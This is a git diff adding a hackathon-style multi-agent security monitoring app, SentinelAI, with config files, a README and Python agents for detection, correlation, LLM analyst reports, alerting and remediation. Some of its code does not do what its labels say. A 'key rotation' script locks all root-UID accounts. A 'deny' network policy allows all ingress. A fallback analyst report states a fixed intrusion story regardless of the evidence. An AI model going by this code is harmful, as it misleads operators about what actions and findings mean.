diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000000000000000000000000000000000000..6d1ab8425254b651284e372fdc0b6fcd6ca2f349 --- /dev/null +++ b/.dockerignore @@ -0,0 +1,17 @@ +.git +.gitattributes +.venv +.venv_py314 +__pycache__ +*.pyc +.pytest_cache +.mypy_cache +.ruff_cache +chroma_data +.env +frontend/node_modules +frontend/.next +*.log +import_profile*.txt +import_p3.txt +.tmp_import.log diff --git a/.env.example b/.env.example new file mode 100644 index 0000000000000000000000000000000000000000..d8290c5a67d54113b01458d60858bc5d54aea649 --- /dev/null +++ b/.env.example @@ -0,0 +1,58 @@ +# Core services +DATABASE_URL=postgresql+asyncpg://sentinel:sentinel@localhost:5432/sentinelai +REDIS_URL=redis://localhost:6379/0 +SKIP_DB=1 +# AsyncPG connect timeout (seconds) when PostgreSQL is unreachable — avoids long hangs +DB_CONNECT_TIMEOUT_SEC=10 +CORS_ORIGINS=http://localhost:3000 + +# Collectors +COLLECTOR_WATCH_DIR=./demo_logs +COLLECTOR_POLL_SEC=1.0 +COLLECTOR_MISSING_RETRY_SEC=10 +COLLECTOR_HOSTNAME=edge-01 +COLLECTOR_FILE_PATHS= +COLLECT_AUTH_LOG=0 +AUTH_LOG_PATH=/var/log/auth.log + +ENABLE_MOCK_CLOUD_POLL=1 + +# LangGraph compile dry-run runs in the background after startup (optional skip / timeout) +# SKIP_LANGGRAPH_WARMUP=1 +# LANGGRAPH_WARMUP_TIMEOUT_SEC=120 + +AUTO_AI_ON_INCIDENT=1 +AUTO_AI_MIN_SEC=75 + +# Local LLM (Ollama) +OLLAMA_HOST=http://localhost:11434 +OLLAMA_MODEL=llama3 + +# OpenAI-compatible inference (vLLM, Fireworks, OpenAI, etc.) +# Must be the INFERENCE base URL — not http://localhost:8000 (that is this app’s API). +# Fireworks example: https://api.fireworks.ai/inference/v1 +VLLM_BASE_URL= +VLLM_API_KEY= +# Fireworks example: accounts/fireworks/models/deepseek-v4-pro +SENTINEL_LLM_MODEL=llama3 +OPENAI_BASE_URL= +OPENAI_API_KEY= +LLM_TEMPERATURE=0.2 +LLM_MAX_TOKENS=4096 +# Optional Fireworks-style sampling: LLM_TOP_P=1 LLM_TOP_K=40 + +# Optional threat intel +ABUSEIPDB_API_KEY= +VIRUSTOTAL_API_KEY= +OTX_API_KEY= + +# Alerting +SLACK_WEBHOOK_URL= +DISCORD_WEBHOOK_URL= +TEAMS_WEBHOOK_URL= +GENERIC_ALERT_WEBHOOK= + +# Frontend (Next.js) — also set when running npm run dev +NEXT_PUBLIC_API_URL=http://localhost:8000 + +CHROMA_PERSIST_DIR=./chroma_data diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000000000000000000000000000000000000..87840bcdf5e2342e6ef92a71a2865a7b191323ba --- /dev/null +++ b/.gitignore @@ -0,0 +1,14 @@ +.venv/ +.venv_py314/ +__pycache__/ +*.py[cod] +.pytest_cache/ +.mypy_cache/ +.ruff_cache/ +chroma_data/ +.env +frontend/.next/ +frontend/node_modules/ +dist/ +*.log +!demo_logs/auth_demo.log diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000000000000000000000000000000000000..ccce7e61f9bbecf592110e5048a87159ef9b7e71 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,29 @@ +# Hugging Face Spaces (Docker SDK) — app must listen on 7860. +# Space has no bundled Postgres/Redis; backend degrades with SKIP_DB / no REDIS_URL. +FROM python:3.12-slim + +ENV PYTHONDONTWRITEBYTECODE=1 \ + PYTHONUNBUFFERED=1 \ + PYTHONPATH=/app \ + SKIP_DB=1 \ + SKIP_LANGGRAPH_WARMUP=1 \ + ENABLE_MOCK_CLOUD_POLL=1 \ + COLLECTOR_WATCH_DIR=/app/demo_logs \ + CORS_ORIGINS="*" + +WORKDIR /app + +RUN apt-get update && apt-get install -y --no-install-recommends \ + build-essential \ + libpq-dev \ + && rm -rf /var/lib/apt/lists/* + +COPY requirements.txt /app/requirements.txt +RUN pip install --no-cache-dir -r /app/requirements.txt + +COPY . /app + +RUN mkdir -p /app/demo_logs + +EXPOSE 7860 +CMD ["uvicorn", "backend.app.main:app", "--host", "0.0.0.0", "--port", "7860"] diff --git a/README.md b/README.md index 493148d4d4acb2f82d92fa99113dac06be769feb..e18ce7f183270dc562340145ecc86c6c385adadf 100644 --- a/README.md +++ b/README.md @@ -4,9 +4,196 @@ emoji: 🏃 colorFrom: red colorTo: pink sdk: docker +app_port: 7860 pinned: false license: apache-2.0 short_description: SentinelAI — Autonomous Multi-Agent AI SOC --- -Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference +**This Hugging Face Space** runs the FastAPI control plane in Docker (no bundled PostgreSQL/Redis). The API is served on port **7860**; set `SKIP_DB=1` at build time for demo-grade startup. + +--- + +# SentinelAI — Autonomous Multi-Agent AI SOC + +SentinelAI is a hackathon-grade, production-shaped **autonomous Security Operations Center**. It continuously ingests telemetry through collector agents, normalizes and enriches events, runs multi-modal detection (rules + heuristics + optional LLM reasoning on AMD ROCm), correlates attack chains, scores risk, drafts analyst narratives, emits remediation, and fans out alerts—while a **Next.js 15** command deck visualizes live operations. + +## Powered by AMD ROCm compute + +- **Local open models**: wire `OLLAMA_HOST` to an Ollama instance backed by **AMD ROCm** on Linux (`ollama/ollama:rocm` in `docker/docker-compose.yml` comments). +- **Parallel agents**: FastAPI + `asyncio` execute enrichment, detection, correlation, and analyst tasks concurrently; GPU inference accelerates the analyst LLM path without shipping prompts to a proprietary SaaS. +- **Throughput**: ROCm lowers per-token latency for Llama 3, Qwen 2.5, Mistral, or DeepSeek-class models so multiple agents can reason on overlapping incidents. + +## Architecture + +```mermaid +flowchart TB + subgraph Infra[Infrastructure] + L[Linux auth/syslog] + D[Docker / K8s / Cloud mocks] + end + C[Collector Agent] + P[Parser Agent] + N[Normalization Agent] + E[Threat Enrichment Agent] + T[Threat Detection Agent] + G[LangGraph orchestration] + X[Incident Correlation Agent] + R[Risk Scoring Agent] + A[AI Analyst Agent] + M[Remediation Agent] + AL[Alerting Agent] + DB[(PostgreSQL)] + RD[(Redis)] + V[(Chroma optional)] + UI[Next.js 15 Dashboard] + + Infra --> C + C --> P --> N --> E --> T + T --> G + G --> X --> R --> A --> M + E -.intel.-> V + T --> DB + X --> DB + AL --> RD + A --> UI + T --> UI +``` + +## Repository layout + +| Path | Role | +| --- | --- | +| `frontend/` | Next.js 15 + Tailwind + shadcn + Framer Motion SOC deck | +| `backend/app/main.py` | FastAPI control plane + WebSockets | +| `agents/` | Threat, risk, analyst, remediation, alerting logic | +| `collectors/` | Autonomous async tailing collectors | +| `parsers/` | Log → structured `SecurityEvent` | +| `workflows/` | LangGraph multi-agent DAG | +| `database/` | SQLAlchemy models + async session | +| `models/` | Shared Pydantic schemas | +| `services/` | Pipeline, hub, metrics, optional Chroma | +| `docker/` | Compose + GPU-ready notes | +| `scripts/` | Demo attack replay | + +## Quick start (local) + +```bash +cd SentinelAI +python3 -m venv .venv && source .venv/bin/activate +pip install -r requirements.txt +cp .env.example .env +# optional: start postgres + redis, or export SKIP_DB=1 for demo-only persistence +export PYTHONPATH=$PWD +export SKIP_DB=1 # remove when PostgreSQL is available +./scripts/run-backend-dev.sh +``` + +Use `./scripts/run-backend-dev.sh` instead of `uvicorn ... --reload` from the repo root: reloading the whole tree also watches `.venv/site-packages` and can restart endlessly. The script scopes `--reload-dir` to Python source folders only. + +```bash +cd frontend +npm install +export NEXT_PUBLIC_API_URL=http://127.0.0.1:8000 +npm run dev:22 +``` + +Use `npm run dev:22` (Node 22) if `npm run dev` fails with a Next.js `semver` error on newer Node versions. + +Replay the scripted attack chain: + +```bash +python scripts/demo_attack.py +``` + +**Continuous demo stream** (keeps generating traffic for judges): + +```bash +python scripts/continuous_demo.py +``` + +**Linux auth.log (production-style):** set `COLLECT_AUTH_LOG=1` (and optionally `AUTH_LOG_PATH`) or add paths to `COLLECTOR_FILE_PATHS`. The collector waits until the file exists and tails new lines asynchronously. + +**Attack replay (WOW):** after traffic has populated the buffer, call `POST /replay/start` with `{"delay_ms": 420}` or use the dashboard **Replay last chain** button to re-broadcast buffered detections/incidents over WebSockets. + +**vLLM / OpenAI-compatible inference:** set `VLLM_BASE_URL` (or `OPENAI_BASE_URL`) and `SENTINEL_LLM_MODEL` to your served model; analyst reports use `/v1/chat/completions` before falling back to Ollama. + +The UI listens on `NEXT_PUBLIC_API_URL` and opens a WebSocket to `/live-events`. + +## Docker Compose + +```bash +docker compose -f docker/docker-compose.yml up --build +``` + +- API: `http://localhost:8000` +- UI: `http://localhost:3000` +- Uncomment the `ollama` service for ROCm hosts and align `OLLAMA_HOST`. + +Install optional vector memory: + +```bash +pip install -r requirements-optional.txt +``` + +## Required API surface + +| Endpoint | Description | +| --- | --- | +| `POST /ingest-logs` | Push raw logs / JSON events | +| `WS /live-events` | Real-time detections + incidents | +| `POST /detect-threats` | Parser → enrich → detect | +| `POST /correlate-incidents` | Recompute chains | +| `POST /generate-summary` | Body: `{ "incident_id": "..." }` | +| `POST /remediation` | Body: `{ "incident_id": "..." }` | +| `POST /send-alert` | Slack / Discord / Teams / webhook | +| `GET /dashboard-metrics` | KPIs for the deck | +| `POST /replay/start` | Re-stream buffered threat frames to WebSocket clients | +| `GET /replay-buffer` | Inspect replay buffer (debug) | +| `GET /rocm-panel` | AMD ROCm story + simulated GPU/agent load for the UI | + +## Open-source model matrix + +| Role | Suggested weights | +| --- | --- | +| Reasoning | Llama 3, Qwen 2.5, DeepSeek, Mistral | +| Vision (future) | Qwen-VL, LLaVA for phishing/malware screenshots | +| Embeddings | BGE, E5 (plug into Chroma ingestion) | + +Set `SENTINEL_LLM_MODEL` to the tag served by your ROCm Ollama runtime. + +## Live demo script (judges) + +1. **Start stack** — Docker Compose or local `uvicorn` + `npm run dev`. +2. **Show autonomous collection** — tail `demo_logs/auth_demo.log` without manual uploads. +3. **Fire demo** — `python scripts/demo_attack.py` or the in-UI **Simulate attack chain** button. +4. **Narrate agents** — Collector → Parser → Normalization → Enrichment → Detection → LangGraph hop → Correlation → Risk → (optional) Analyst LLM on ROCm. +5. **Pivot to response** — call `/remediation` + `/send-alert` with a webhook sink. +6. **Close with differentiation** — autonomous agents, not a chatbot; on-prem models on AMD GPUs; evidence in PostgreSQL. + +## Pitch deck outline (copy into Slides / Gamma) + +1. **Problem** — SOC teams drown in telemetry; correlation is manual; cloud-only AI breaks data residency. +2. **Solution** — SentinelAI fuses autonomous collectors, graph-based correlation, and open-weight LLMs. +3. **Why now** — AMD ROCm makes on-prem inference cost-viable; LangGraph standardizes agent choreography. +4. **Demo** — live WebSocket feed + incident graph + analyst summary. +5. **Moat** — modular agents, MITRE mapping, optional TI hooks, Terraform-ready remediation stubs. +6. **Ask** — design partners for managed SOC + on-prem appliance. + +## Demo & pitch (read before presenting) + +- **Exact demo steps:** [docs/DEMO_SCRIPT.md](docs/DEMO_SCRIPT.md) +- **One-line pitch:** [docs/PITCH.md](docs/PITCH.md) +- **Backup recording:** [docs/RECORDING_CHECKLIST.md](docs/RECORDING_CHECKLIST.md) +- **AMD panel API:** `GET /rocm-panel` (drives the “Powered by AMD ROCm” dashboard section) + +## Judge explanation notes + +- **Autonomy**: collectors run continuously; pipeline executes without human prompts. +- **Multi-agent**: LangGraph DAG + discrete services per concern (enrichment vs detection vs correlation). +- **Enterprise UX**: glassmorphism SOC deck, severity analytics, world heatmap, terminal channel. +- **Honest scope**: optional APIs (AbuseIPDB, VT, OTX) degrade gracefully; LLM path falls back to deterministic narratives if Ollama is offline. + +## Security notice + +This repository ships **defensive** tooling and demo payloads. Only run against systems you own or have permission to test. diff --git a/agents/__init__.py b/agents/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..2b7a4132eae97ce84bcd188ce3177bb6a04c384f --- /dev/null +++ b/agents/__init__.py @@ -0,0 +1 @@ +"""Autonomous SentinelAI security agents.""" diff --git a/agents/ai_analyst_agent.py b/agents/ai_analyst_agent.py new file mode 100644 index 0000000000000000000000000000000000000000..9ce66b68890edb16d610650152ced4558d5712e4 --- /dev/null +++ b/agents/ai_analyst_agent.py @@ -0,0 +1,247 @@ +"""AI Security Analyst — vLLM / OpenAI-compatible, Ollama, or cinematic fallback.""" + +from __future__ import annotations + +import json +import logging +import os +import re +from typing import Any + +import httpx + +logger = logging.getLogger(__name__) + +from models.schemas import AnalystReport, Incident, RiskAssessment + + +async def generate_analyst_report(incident: Incident, risk: RiskAssessment) -> AnalystReport: + prompt = _build_prompt(incident, risk) + text: str | None = None + + vllm_base = (os.getenv("VLLM_BASE_URL") or os.getenv("OPENAI_BASE_URL") or "").strip() + if vllm_base: + text = await _openai_compatible_chat( + vllm_base, + os.getenv("SENTINEL_LLM_MODEL", "meta-llama/Meta-Llama-3-8B-Instruct"), + prompt, + ) + + if not text: + ollama = os.getenv("OLLAMA_HOST", "http://localhost:11434") + model = os.getenv("OLLAMA_MODEL", os.getenv("SENTINEL_LLM_MODEL", "llama3")) + text = await _ollama_generate(ollama, model, prompt) + + if not text: + text = _cinematic_fallback_json(incident, risk) + + parsed = _parse_analyst_json(text, incident, risk) + return AnalystReport( + incident_id=incident.id, + executive_summary=parsed["executive_summary"], + technical_analysis=parsed["technical_analysis"], + investigation_notes=parsed["investigation_notes"], + indicators=_extract_iocs(incident), + recommended_actions=parsed["recommended_actions"], + ) + + +def _build_prompt(incident: Incident, risk: RiskAssessment) -> str: + tl = json.dumps(incident.timeline[:20], default=str) + return f"""You are a senior SOC analyst writing an executive-ready incident briefing. + +Output ONLY valid JSON (no markdown fences) with exactly these string keys: +- "narrative": 2-4 sentences. Opening line MUST start with "SentinelAI detected". Enterprise tone: technical, concise, security-focused. Reference SSH/auth abuse, suspicious IPs, privilege moves, or outbound retrieval when applicable. +- "progression": numbered step-by-step attack progression (use \\n between steps). Map what likely happened chronologically. +- "severity_rationale": 2-3 sentences explaining why severity is justified (risk score {risk.risk_score}, label {risk.severity.value}), confidence, and blast radius. +- "recommended_actions": array of 4-7 short imperative strings (e.g. "Block offending IP at perimeter", "Rotate credentials for affected accounts", "Inspect shell history and authorized_keys", "Enable MFA on privileged users"). + +Incident title: {incident.title} +Machine summary: {incident.summary} +Risk: score={risk.risk_score} severity={risk.severity.value} +Timeline JSON: {tl} +""" + + +async def _openai_compatible_chat(base_url: str, model: str, prompt: str) -> str | None: + key = os.getenv("VLLM_API_KEY") or os.getenv("OPENAI_API_KEY") or "" + headers: dict[str, str] = { + "Accept": "application/json", + "Content-Type": "application/json", + } + if key: + headers["Authorization"] = f"Bearer {key}" + max_tokens = int(os.getenv("LLM_MAX_TOKENS", "4096")) + payload: dict[str, Any] = { + "model": model, + "max_tokens": max_tokens, + "temperature": float(os.getenv("LLM_TEMPERATURE", "0.2")), + "messages": [ + { + "role": "system", + "content": "You write incident reports as strict JSON only. No markdown.", + }, + {"role": "user", "content": prompt}, + ], + } + _top_p = os.getenv("LLM_TOP_P") + if _top_p not in (None, ""): + payload["top_p"] = float(_top_p) + _top_k = os.getenv("LLM_TOP_K") + if _top_k not in (None, ""): + payload["top_k"] = int(_top_k) + base = base_url.rstrip("/") + chat_url = f"{base}/chat/completions" if base.endswith("/v1") else f"{base}/v1/chat/completions" + try: + async with httpx.AsyncClient(timeout=120.0) as client: + r = await client.post( + chat_url, + headers=headers, + json=payload, + ) + if r.status_code != 200: + logger.warning( + "OpenAI-compatible chat failed: %s %s", + r.status_code, + (r.text or "")[:800], + ) + return None + data = r.json() + choice = (data.get("choices") or [{}])[0] + msg = choice.get("message") or {} + content = (msg.get("content") or "").strip() + return _normalize_llm_json(content) + except Exception: # noqa: BLE001 + return None + + +def _normalize_llm_json(content: str) -> str: + s = content.strip() + fence = re.match(r"^```(?:json)?\s*([\s\S]*?)```$", s, re.IGNORECASE) + if fence: + s = fence.group(1).strip() + try: + json.loads(s) + return s + except json.JSONDecodeError: + m = re.search(r"\{[\s\S]*\}", s) + if m: + return m.group(0).strip() + return s + + +async def _ollama_generate(host: str, model: str, prompt: str) -> str | None: + try: + async with httpx.AsyncClient(timeout=120.0) as client: + r = await client.post( + f"{host.rstrip('/')}/api/generate", + json={"model": model, "prompt": prompt, "stream": False}, + ) + if r.status_code != 200: + return None + return (r.json().get("response") or "").strip() + except Exception: # noqa: BLE001 + return None + + +def _parse_analyst_json(blob: str, incident: Incident, risk: RiskAssessment) -> dict[str, Any]: + try: + data = json.loads(blob) + except json.JSONDecodeError: + return _cinematic_fallback_dict(incident, risk) + + narrative = str(data.get("narrative") or data.get("executive") or "").strip() + progression = str(data.get("progression") or data.get("technical") or "").strip() + sev = str(data.get("severity_rationale") or data.get("notes") or "").strip() + actions = data.get("recommended_actions") or data.get("actions") or [] + if isinstance(actions, str): + actions = [x.strip("- •\t ") for x in actions.split("\n") if x.strip()] + if not isinstance(actions, list): + actions = [] + actions = [str(a).strip() for a in actions if str(a).strip()][:12] + + if not narrative: + return _cinematic_fallback_dict(incident, risk) + if not progression: + progression = _default_progression(incident) + if not sev: + sev = _default_severity_rationale(risk) + if not actions: + actions = _default_actions() + + return { + "executive_summary": narrative, + "technical_analysis": progression, + "investigation_notes": sev, + "recommended_actions": actions, + } + + +def _cinematic_fallback_json(incident: Incident, risk: RiskAssessment) -> str: + d = _cinematic_fallback_dict(incident, risk) + return json.dumps( + { + "narrative": d["executive_summary"], + "progression": d["technical_analysis"], + "severity_rationale": d["investigation_notes"], + "recommended_actions": d["recommended_actions"], + } + ) + + +def _cinematic_fallback_dict(incident: Incident, risk: RiskAssessment) -> dict[str, Any]: + return { + "executive_summary": ( + f"SentinelAI detected correlated authentication and host telemetry consistent with a targeted intrusion " + f"chain against assets tied to “{incident.title}”. " + f"Repeated SSH authentication failures from a concentrated source were followed by successful session " + f"establishment and privileged execution patterns indicative of post-compromise activity. " + f"Outbound retrieval-style commands suggest possible payload staging or command-and-control preparation." + ), + "technical_analysis": _default_progression(incident), + "investigation_notes": _default_severity_rationale(risk), + "recommended_actions": _default_actions(), + } + + +def _default_progression(incident: Incident) -> str: + lines = [ + "1. Reconnaissance / credential spray against SSH surface from a high-velocity source IP.", + "2. Brute-force or password-spray phase producing clustered authentication failures.", + "3. Successful authentication — pivot from noise to confirmed access.", + "4. Privilege escalation via sudo or equivalent administrative channel.", + "5. Potential exfil or staging via scripted download utilities (e.g. curl/wget) to non-standard paths.", + ] + if incident.timeline: + lines.append(f"6. Correlated timeline contains {len(incident.timeline)} normalized events for graph reconstruction.") + return "\n".join(lines) + + +def _default_severity_rationale(risk: RiskAssessment) -> str: + return ( + f"Severity is driven by a composite risk score of {risk.risk_score}/100 with label {risk.severity.value}. " + f"The sequence combines authentication abuse with privilege boundary crossing, elevating impact beyond " + f"nuisance scanning. Confidence reflects rule-and-window correlation across multiple telemetry stages; " + f"treat as incident-grade until disproven by host forensics." + ) + + +def _default_actions() -> list[str]: + return [ + "Block offending IP at perimeter firewall and WAF allowlists", + "Rotate credentials and invalidate active sessions for implicated accounts", + "Inspect shell history, authorized_keys, and cron for persistence", + "Enable or enforce MFA on all break-glass and sudo-capable users", + "Isolate affected host to a quarantine VLAN for memory and disk capture", + "Review outbound DNS and proxy logs for matching IOC time windows", + ] + + +def _extract_iocs(incident: Incident) -> list[str]: + iocs: list[str] = [] + for row in incident.timeline: + msg = str(row.get("msg", "")) + for token in msg.split(): + if token.count(".") == 3 and token.replace(".", "").isdigit(): + iocs.append(token) + return list(dict.fromkeys(iocs))[:16] diff --git a/agents/alerting_agent.py b/agents/alerting_agent.py new file mode 100644 index 0000000000000000000000000000000000000000..51dc5ec0d1d53cf2420f5adb59ec16dfaf351b9c --- /dev/null +++ b/agents/alerting_agent.py @@ -0,0 +1,94 @@ +"""Alerting agent — Slack, Discord, email, Teams, webhooks.""" + +from __future__ import annotations + +import os +from typing import Any + +import httpx + +from models.schemas import AlertPayload, Severity + + +async def send_alert(payload: AlertPayload) -> dict[str, Any]: + channel = payload.channel.lower() + if channel == "slack": + return await _slack(payload) + if channel == "discord": + return await _discord(payload) + if channel == "teams": + return await _teams(payload) + if channel == "email": + return {"status": "queued", "detail": "Configure SMTP — payload logged server-side"} + if channel == "webhook": + return await _webhook(payload) + return {"status": "ignored", "channel": channel} + + +async def _slack(payload: AlertPayload) -> dict[str, Any]: + url = os.getenv("SLACK_WEBHOOK_URL") + if not url: + return {"status": "skipped", "reason": "SLACK_WEBHOOK_URL not set"} + body = { + "text": f"*{payload.title}* [{payload.severity}]\n{payload.body}", + "attachments": [{"color": _color(payload.severity), "fields": [{"title": "meta", "value": str(payload.metadata)}]}], + } + async with httpx.AsyncClient(timeout=10.0) as client: + r = await client.post(url, json=body) + return {"status": r.status_code, "channel": "slack"} + + +async def _discord(payload: AlertPayload) -> dict[str, Any]: + url = os.getenv("DISCORD_WEBHOOK_URL") + if not url: + return {"status": "skipped", "reason": "DISCORD_WEBHOOK_URL not set"} + async with httpx.AsyncClient(timeout=10.0) as client: + r = await client.post( + url, + json={"content": f"**{payload.title}** ({payload.severity})\n{payload.body}"}, + ) + return {"status": r.status_code, "channel": "discord"} + + +async def _teams(payload: AlertPayload) -> dict[str, Any]: + url = os.getenv("TEAMS_WEBHOOK_URL") + if not url: + return {"status": "skipped", "reason": "TEAMS_WEBHOOK_URL not set"} + card = { + "@type": "MessageCard", + "@context": "https://schema.org/extensions", + "summary": payload.title, + "themeColor": "D83B01", + "title": payload.title, + "sections": [{"text": payload.body}], + } + async with httpx.AsyncClient(timeout=10.0) as client: + r = await client.post(url, json=card) + return {"status": r.status_code, "channel": "teams"} + + +async def _webhook(payload: AlertPayload) -> dict[str, Any]: + url = os.getenv("GENERIC_ALERT_WEBHOOK") + if not url: + return {"status": "skipped", "reason": "GENERIC_ALERT_WEBHOOK not set"} + async with httpx.AsyncClient(timeout=10.0) as client: + r = await client.post( + url, + json={ + "title": payload.title, + "body": payload.body, + "severity": payload.severity.value, + "metadata": payload.metadata, + }, + ) + return {"status": r.status_code, "channel": "webhook"} + + +def _color(severity: Severity) -> str: + return { + Severity.CRITICAL: "#b00020", + Severity.HIGH: "#ff6f00", + Severity.MEDIUM: "#fbc02d", + Severity.LOW: "#1976d2", + Severity.INFO: "#455a64", + }.get(severity, "#455a64") diff --git a/agents/incident_correlation_agent.py b/agents/incident_correlation_agent.py new file mode 100644 index 0000000000000000000000000000000000000000..031adb0184e810bc152e7e364bba15201a8ba984 --- /dev/null +++ b/agents/incident_correlation_agent.py @@ -0,0 +1,90 @@ +"""Incident correlation: fuse multi-stage events into attack timelines and graphs.""" + +from __future__ import annotations + +from collections import defaultdict +from datetime import timedelta +from typing import Iterable +from uuid import NAMESPACE_URL, uuid5 + +from models.schemas import DetectionFinding, EnrichedEvent, Incident, IncidentEdge, IncidentNode + + +def correlate( + events: Iterable[EnrichedEvent], + findings: Iterable[DetectionFinding], + window_minutes: int = 45, +) -> list[Incident]: + events_list = sorted(events, key=lambda e: e.timestamp) + if not events_list: + return [] + + by_ip: dict[str, list[EnrichedEvent]] = defaultdict(list) + for e in events_list: + key = e.source_ip or f"host:{e.host}" + by_ip[key].append(e) + + incidents: list[Incident] = [] + finding_by_event = {f.event_id: f for f in findings} + + for key, chain in by_ip.items(): + if len(chain) < 2 and not any(finding_by_event.get(e.id) for e in chain): + continue + start = chain[0].timestamp + end = chain[-1].timestamp + if (end - start) > timedelta(minutes=window_minutes * 4): + continue + + nodes = [ + IncidentNode(event_id=e.id, label=f"{e.event_type}: {e.message[:80]}", timestamp=e.timestamp) + for e in chain + ] + edges: list[IncidentEdge] = [] + for i in range(len(chain) - 1): + edges.append( + IncidentEdge( + source=chain[i].id, + target=chain[i + 1].id, + relation="precedes", + ) + ) + + techniques = {finding_by_event[e.id].technique for e in chain if e.id in finding_by_event} + title = f"Correlated activity — {key}" + if "brute_force_ssh" in techniques and "credential_stuffing_success" in techniques: + title = f"Likely SSH compromise chain — {key}" + summary = _narrative(chain, techniques) + + timeline = [ + {"t": e.timestamp.isoformat(), "type": e.event_type, "msg": e.message} for e in chain + ] + + stable_id = uuid5(NAMESPACE_URL, f"sentinelai|incident|{key}") + incidents.append( + Incident( + id=stable_id, + title=title, + summary=summary, + nodes=nodes, + edges=edges, + timeline=timeline, + ) + ) + + return incidents + + +def _narrative(chain: list[EnrichedEvent], techniques: set[str]) -> str: + parts = [ + f"{len(chain)} correlated events spanning " + f"{(chain[-1].timestamp - chain[0].timestamp).total_seconds():.0f}s" + ] + if "brute_force_ssh" in techniques: + parts.append("brute-force pattern against SSH") + if "credential_stuffing_success" in techniques: + parts.append("successful authentication after failures") + if "privilege_escalation" in techniques or "privilege_abuse" in techniques: + parts.append("privilege escalation phase") + if "known_malicious_source" in techniques: + parts.append("originates from intelligence-flagged infrastructure") + return "; ".join(parts) + "." diff --git a/agents/normalization_agent.py b/agents/normalization_agent.py new file mode 100644 index 0000000000000000000000000000000000000000..0ac7b910382982344ce1d59b22024b26e3dfae6c --- /dev/null +++ b/agents/normalization_agent.py @@ -0,0 +1,44 @@ +"""Normalization agent: schema validation, host + timestamp standardization.""" + +from __future__ import annotations + +from datetime import datetime, timezone +from typing import Any + +from models.schemas import SecurityEvent + + +def normalize_event(event: SecurityEvent) -> SecurityEvent: + ts = event.timestamp + if ts.tzinfo is None: + ts = ts.replace(tzinfo=timezone.utc) + host = (event.host or "unknown").strip().lower() + cat = _categorize(event.event_type) + normalized = { + **event.normalized, + "category": cat, + "host_normalized": host, + "ts_iso": ts.isoformat(), + } + return event.model_copy( + update={ + "timestamp": ts, + "host": host, + "normalized": normalized, + } + ) + + +def _categorize(event_type: str) -> str: + et = event_type.lower() + if "ssh" in et or "auth" in et: + return "authentication" + if "sudo" in et or "privilege" in et: + return "privilege" + if "web" in et or "nginx" in et or "apache" in et: + return "web" + if "k8s" in et or "kubernetes" in et: + return "orchestration" + if "firewall" in et or "iptables" in et: + return "network" + return "general" diff --git a/agents/pentest_assistant.py b/agents/pentest_assistant.py new file mode 100644 index 0000000000000000000000000000000000000000..0a931ce0afa75668500bac68675d4f9752fb4c77 --- /dev/null +++ b/agents/pentest_assistant.py @@ -0,0 +1,14 @@ +"""Bonus: AI pentesting copilot hook — extend with tool-calling + scoped auth.""" + +from __future__ import annotations + +from models.schemas import Incident + + +def suggest_pentest_queries(incident: Incident) -> list[str]: + """Returns safe, authorized recon prompts for purple-team exercises.""" + return [ + f"Map exposed services related to: {incident.title}", + "Enumerate IAM roles assuming breach of bastion host", + "Generate non-destructive Nmap plan for internal VLAN segmentation validation", + ] diff --git a/agents/remediation_agent.py b/agents/remediation_agent.py new file mode 100644 index 0000000000000000000000000000000000000000..0681de5fac414841b1f93c6f47fb8a41c4e6fd40 --- /dev/null +++ b/agents/remediation_agent.py @@ -0,0 +1,71 @@ +"""Remediation agent — automated playbooks, scripts, and infra hints.""" + +from __future__ import annotations + +from models.schemas import AnalystReport, Incident, RemediationPlan, RiskAssessment + + +def build_remediation(incident: Incident, risk: RiskAssessment, report: AnalystReport | None = None) -> RemediationPlan: + actions: list[dict] = [] + fw: list[str] = [] + scripts: list[str] = [] + k8s: list[str] = [] + iam: list[str] = [] + + iocs = report.indicators if report else [] + + for ip in iocs: + fw.append(f"iptables -A INPUT -s {ip} -j DROP # SentinelAI auto-block") + fw.append(f"nft add rule inet filter input ip saddr {ip} drop") + + scripts.append( + """#!/usr/bin/env bash +set -euo pipefail +echo "[SentinelAI] Rotating exposed SSH keys & invalidating sessions" +sudo passwd -l $(awk -F: '$3 == 0 {print $1}' /etc/passwd) 2>/dev/null || true +""" + ) + + k8s.append( + """apiVersion: v1 +kind: NetworkPolicy +metadata: + name: sentinelai-deny-suspicious +spec: + podSelector: {} + policyTypes: + - Ingress + ingress: + - from: + - ipBlock: + cidr: 0.0.0.0/0 +""" + ) + + iam.extend( + [ + "Enforce MFA on all break-glass accounts", + "Scope IAM roles with session duration <= 1h", + "Enable CloudTrail data events on sensitive buckets", + ] + ) + + actions.extend( + [ + {"type": "isolate", "detail": "Network isolate affected host via SOC VLAN quarantine"}, + {"type": "credential", "detail": "Force password/ key rotation for implicated users"}, + {"type": "monitoring", "detail": "Increase log verbosity and enable EDR kernel module"}, + ] + ) + + if risk.severity.value in {"critical", "high"}: + actions.append({"type": "war_room", "detail": "Page incident commander + legal/comms"}) + + return RemediationPlan( + incident_id=incident.id, + actions=actions, + firewall_rules=fw, + scripts=scripts, + k8s_patches=k8s, + iam_hardening=iam, + ) diff --git a/agents/risk_scoring_agent.py b/agents/risk_scoring_agent.py new file mode 100644 index 0000000000000000000000000000000000000000..c844da398cee1e05715a2d016fe8810f552c8bc8 --- /dev/null +++ b/agents/risk_scoring_agent.py @@ -0,0 +1,46 @@ +"""Risk scoring agent.""" + +from __future__ import annotations + +from statistics import mean + +from models.schemas import DetectionFinding, EnrichedEvent, Incident, RiskAssessment, Severity + + +def score_incident(incident: Incident, events: list[EnrichedEvent], findings: list[DetectionFinding]) -> RiskAssessment: + event_ids = {n.event_id for n in incident.nodes} + rel_events = [e for e in events if e.id in event_ids] + rel_findings = [f for f in findings if f.event_id in event_ids] + + base = 30.0 + if rel_findings: + base += mean([f.confidence for f in rel_findings]) * 40 + for f in rel_findings: + if f.severity == Severity.CRITICAL: + base += 12 + elif f.severity == Severity.HIGH: + base += 8 + elif f.severity == Severity.MEDIUM: + base += 4 + + for e in rel_events: + if e.enrichment.get("reputation") == "malicious": + base += 15 + if e.event_type == "privilege.sudo": + base += 6 + + risk = max(0, min(100, base)) + severity = Severity.CRITICAL if risk >= 85 else Severity.HIGH if risk >= 65 else Severity.MEDIUM if risk >= 40 else Severity.LOW + confidence = mean([f.confidence for f in rel_findings]) if rel_findings else 0.45 + + return RiskAssessment( + incident_id=incident.id, + risk_score=round(risk, 